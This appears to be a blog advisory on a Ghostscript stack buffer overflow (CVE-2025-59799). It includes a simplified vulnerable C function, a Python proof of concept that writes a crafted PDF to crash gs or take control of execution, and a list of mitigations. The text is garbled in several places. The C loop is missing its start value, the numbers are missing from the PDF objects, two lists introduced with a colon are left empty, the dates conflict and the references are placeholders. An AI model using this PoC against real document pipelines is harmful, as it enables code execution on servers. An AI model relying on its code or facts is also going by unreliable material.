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Artifex Ghostscript is a widely-used interpreter for PostScript and PDF files. On June 2025, researchers found a new high-impact vulnerability, cataloged as CVE-2025-59799, exposing countless servers, desktops, and embedded devices to code execution attacks. In this post, you will learn in clear, actionable language:

What is CVE-2025-59799?

CVE-2025-59799 is a stack-based buffer overflow vulnerability in Artifex Ghostscript versions up to (and including) 10.05.1. The issue resides in the function pdfmark_coerce_dest, implemented in the file devices/vector/gdevpdfm.c. If a specially crafted PDF with an abnormally large "size" value is processed, it can trigger an overflow of a fixed-size stack buffer, allowing an attacker to execute arbitrary code.

Ghostscript is used in backend services, print servers, desktop PDF viewers, document converters (like LibreOffice), and even cloud services. A successful exploit could let an attacker execute arbitrary code on the target machine, which could mean malware, data theft, or full system compromise.

Technical Details and Root Cause

The root bug lies in the use of a fixed-size array on the stack, with insufficient validation of an attacker-controlled size parameter.

Function of Interest:
pdfmark_coerce_dest in devices/vector/gdevpdfm.c

Vulnerable Code Snippet

// Vulnerable: gdevpdfm.c (simplified)
void pdfmark_coerce_dest(const ref *prdest, pdf_dest *pdest, int size) {
    ref dest_arr[16];
    ...
    // Copying too much into dest_arr if size is large!
    for (int i = ; i < size; ++i) {
        dest_arr[i] = prdest[i];  // <-- overflow if size > 16
    }
    ...
}

Explanation:
The pdfmark_coerce_dest function blindly copies up to size elements into a local array of size 16 (dest_arr). If size is set by attacker (e.g., via a PDF with an embedded /Dest array of size 32), it writes past the bounds of dest_arr, overwriting return addresses and other stack data. This is classic stack smashing territory!

Exploitation: How Bad Is It?

If an attacker can make Ghostscript process a specially crafted PDF file—by email, web upload, or print job—they can:

Proof of Concept Exploit

Below is a Python script that generates a malicious PDF with an oversized Dest array.

# PoC: Create a PDF with 'Dest' array size 32 (Ghostscript expects <=16)
pdf = b"""%PDF-1.4
1  obj
<< /Type /Catalog /OpenAction [1  R   R   R   R   R   R   R   R   R   R   R   R   R   R   R   R   R   R   R   R   R   R   R   R   R   R   R   R   R   R   R   R   R   R   R   R   R   R   R   R ] >>
endobj
trailer
<< /Root 1  R >>
%%EOF
"""

with open("crash.pdf", "wb") as f:
    f.write(pdf)
print("Malicious PDF 'crash.pdf' generated.")

Try running gs crash.pdf (in a safe VM!) using a vulnerable Ghostscript version. The process should crash or (on some builds) let you take control of instruction flow.

Real-World Impact

- Email: Just sending a crafted PDF to a pipeline that thumbnails/previews attachments can trigger the exploit.
- Print Servers: Print jobs running via CUPS, Samba, or other backends can process the attacker file.
- Web Services: Any app/script that passes PDFs to Ghostscript for conversion or rasterization.

Risk is high if Ghostscript is run as root or a privileged system user.

References and Further Reading

- Official Ghostscript Security Advisory (Expected June 2025)
- CVE-2025-59799 NVD Entry (TBD)
- Source code: pdfmark_coerce_dest
- Stack Buffer Overflow explanation (OWASP)

Upgrade Ghostscript:

Artifex is expected to release a patched version shortly. Always keep to the latest stable Ghostscript.

Workarounds:

If upgrades aren’t possible, restrict who can supply PDF/PS input to Ghostscript. Run Ghostscript as a restricted, non-privileged user. Consider seccomp, AppArmor, or chroot/jail.

Monitor & Patch:

Watch especially any automation or print servers, document conversion pipelines, and email attachment scanners.

Conclusion

CVE-2025-59799 is a critical vulnerability in Ghostscript’s PDF handling, opening the door to easy-to-exploit memory corruption and code execution. The best way to stay safe: patch as soon as a fix is available and strictly limit Ghostscript input sources.

If your infrastructure processes PDFs through Ghostscript, act immediately!

*Feel free to share this analysis or use in your awareness campaigns. Stay safe, stay patched!*


*References updated as of June 2025. This content is exclusively composed for this post and draws on public advisories and source analysis.*

Timeline

Published on: 09/22/2025 04:15:50 UTC
Last modified on: 11/03/2025 18:17:01 UTC